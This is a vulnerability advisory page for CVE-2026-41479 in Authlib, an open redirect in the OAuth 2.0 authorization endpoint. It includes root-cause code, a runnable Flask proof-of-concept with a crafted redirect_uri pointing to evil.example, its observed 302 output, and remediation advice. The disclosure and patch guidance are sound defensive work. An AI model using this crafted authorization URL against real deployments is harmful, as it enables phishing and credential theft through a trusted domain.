Skip to main content

Authlib CVE-2026-41479

| EUVDEUVD-2026-38360 MEDIUM
URL Redirection to Untrusted Site (Open Redirect) (CWE-601)
2026-06-08 https://github.com/authlib/authlib GHSA-w8p2-r796-3vmq
5.4
CVSS 3.1 · Vendor: https://github.com/authlib/authlib
Share

Severity by source

Vendor (https://github.com/authlib/authlib) PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/authlib/authlib) · only source for this CVE.

CVSS VectorVendor: https://github.com/authlib/authlib

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 08, 2026 - 18:19 vuln.today
Analysis Generated
Jun 08, 2026 - 18:19 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 4 pypi packages depend on authlib (3 direct, 1 indirect)

Ecosystem-wide dependent count for version 1.7.0.

DescriptionCVE.org

Summary

Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.

The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.

It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.

Details

The root cause is that AuthorizationServer.get_authorization_grant() copies the raw request redirect_uri into an UnsupportedResponseTypeError before any client has been resolved and before any redirect URI validation has happened:

python
# authlib/oauth2/rfc6749/authorization_server.py
  raise UnsupportedResponseTypeError(
      f"The response type '{request.payload.response_type}' is not supported by the server.",
      request.payload.response_type,
      redirect_uri=request.payload.redirect_uri,
  )

  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib
  automatically returns a redirect response to that URI:
# authlib/oauth2/base.py
  def __call__(self, uri=None):
      if self.redirect_uri:
          params = self.get_body()
          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)
          return 302, "", [("Location", loc)]
      return super().__call__(uri=uri)

  This means an unsupported response_type request can force the authorization server to redirect
  to an attacker-controlled URL even when:

  1. no valid client exists,
  2. no grant matched the request,
  3. no registered redirect_uri was ever checked.

  This is not a contrived code path. It is reachable through the normal Authlib authorization
  endpoint flow documented for Flask and Django integrations, where applications are told to call
  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.

  Relevant source and documentation references:

  - authlib/oauth2/rfc6749/authorization_server.py
  - authlib/oauth2/base.py
  - docs/flask/2/authorization-server.rst
  - docs/django/2/authorization-server.rst
### PoC

  Local test environment:

  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
  - git describe: v1.6.6-104-g68e6ab3f
  - Python virtualenv: ./.venv
  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true

  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.
  It does not create the vulnerable behavior. In a real deployment the same logic is reachable
  over HTTPS.

  Run this exact PoC from the repository root:

  export AUTHLIB_INSECURE_TRANSPORT=true
  ./.venv/bin/python - <<'PY'
  import os, json
  from flask import Flask, request
  from authlib.integrations.flask_oauth2 import AuthorizationServer
  from authlib.oauth2 import OAuth2Error
  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant

  os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"

  class AuthorizationCodeGrant(_AuthorizationCodeGrant):
      def save_authorization_code(self, code, request):
          raise RuntimeError("not reached")
      def query_authorization_code(self, code, client):
          return None
      def delete_authorization_code(self, authorization_code):
          pass
      def authenticate_user(self, authorization_code):
          return None

  app = Flask(__name__)
  app.secret_key = "testing"

  server = AuthorizationServer(
      app,
      query_client=lambda client_id: None,
      save_token=lambda token, request: None,
  )
  server.register_grant(AuthorizationCodeGrant)

  @app.route("/oauth/authorize", methods=["GET", "POST"])
  def authorize():
      try:
          grant = server.get_consent_grant(end_user=None)
      except OAuth2Error as error:
          return server.handle_error_response(request, error)
      return server.create_authorization_response(grant=grant, grant_user=None)

  with app.test_client() as c:
      cases = {
          "without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1",
          "with_attacker_redirect_uri": "/oauth/authorize?response_type=totally-
  unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1",
      }
      out = {}
      for name, url in cases.items():
          r = c.get(url)
          out[name] = {
              "status": r.status_code,
              "location": r.headers.get("Location"),
              "body": r.get_data(as_text=True),
          }
      print(json.dumps(out, indent=2))
  PY

  Observed result:

  {
    "without_redirect_uri": {
      "status": 400,
      "location": null,
      "body": "{\"error\": \"unsupported_response_type\", \"error_description\": \"totally-
  unsupported\", \"state\": \"s1\"}"
    },
    "with_attacker_redirect_uri": {
      "status": 302,
      "location":
  "https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
      "body": ""
    }
  }

  This demonstrates that the only difference between a local error and an external redirect is
  whether the attacker supplies redirect_uri.

  The same behavior was locally reproduced with the Django integration using RequestFactory; it
  returned:

  {
    "status": 302,
    "location":
  "https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
    "body": ""
  }
### Impact
  This is an unauthenticated open redirect in an internet-facing authorization endpoint.

  Who is impacted:

  - Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization
    endpoint flow.
  - No special feature flag is required beyond running the authorization endpoint itself.

  Attacker prerequisites:

  - None beyond the ability to send a victim to a crafted authorization URL.

  Practical harm:

  - Phishing and credential theft by abusing a trusted authorization server domain as a
    redirector.
  - Bypass of domain-based allowlists that trust the authorization server's host.
  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to
    reject unregistered redirect URIs before redirecting.

  The issue is especially concerning because the redirect happens before client existence and
  redirect URI legitimacy are established.

AnalysisAI

Unauthenticated open redirect in Authlib's OAuth 2.0 authorization endpoint allows any remote attacker to weaponize a trusted authorization server domain as a redirector - no client registration, no authenticated session, and no prior state required. The flaw affects all deployments of pip/authlib < 1.6.10 and == 1.7.0 running an authorization endpoint via the Flask or Django integrations. Publicly available exploit code exists and was dynamically confirmed against the live HEAD (v1.6.6-104-g68e6ab3f); no public exploit identified at time of analysis as confirmed actively exploited (CISA KEV status absent), but the trivial, zero-prerequisite exploit path makes phishing and domain-allowlist bypass practical at scale.

Technical ContextAI

Authlib (pkg:pip/authlib) is a Python OAuth 2.0 / OpenID Connect library with documented integrations for Flask and Django. The root cause (CWE-601: URL Redirection to Untrusted Site) lies in AuthorizationServer.get_authorization_grant() in authlib/oauth2/rfc6749/authorization_server.py. When the incoming response_type parameter does not match any registered grant, the method raises UnsupportedResponseTypeError and - critically - copies the raw, unvalidated request.payload.redirect_uri directly into that error object before any client lookup has occurred. The base class OAuth2Error.__call__() in authlib/oauth2/base.py then checks whether self.redirect_uri is set and, if so, emits a 302 response with that URI as the Location header. Because client resolution and RFC 6749 §4.1.2.1 redirect URI validation are never reached in this error path, an attacker-supplied redirect_uri is honoured unconditionally. The fix (commit 3be08468) enforces that a redirect URI is only propagated into the error after confirming a valid client_id, a matching registered client, and a client.check_redirect_uri() pass.

RemediationAI

Upgrade authlib to version 1.6.10 (for the 1.6.x branch) or 1.7.1 (for the 1.7.x branch) to receive the vendor-released patch. The exact fix is in commit 3be08468201a7766a93012ce149ea12822cab096 (https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096), which changes get_authorization_grant() to only pass a redirect_uri into UnsupportedResponseTypeError after validating that a matching client exists and that the URI passes client.check_redirect_uri(), in compliance with RFC 6749 §4.1.2.1. If an immediate upgrade is not possible, a compensating control is to add a middleware or WAF rule that rejects authorization endpoint requests where response_type is not in the server's explicitly allowed list before the request reaches Authlib - this prevents the UnsupportedResponseTypeError path from being triggered, eliminating the redirect. A trade-off is that this creates a tight coupling between the WAF configuration and the set of registered grants; any new grant type must be added to both Authlib and the allowlist. Alternatively, logging and alerting on response_type values not in the registered set can provide early detection with no service disruption.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-41479 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy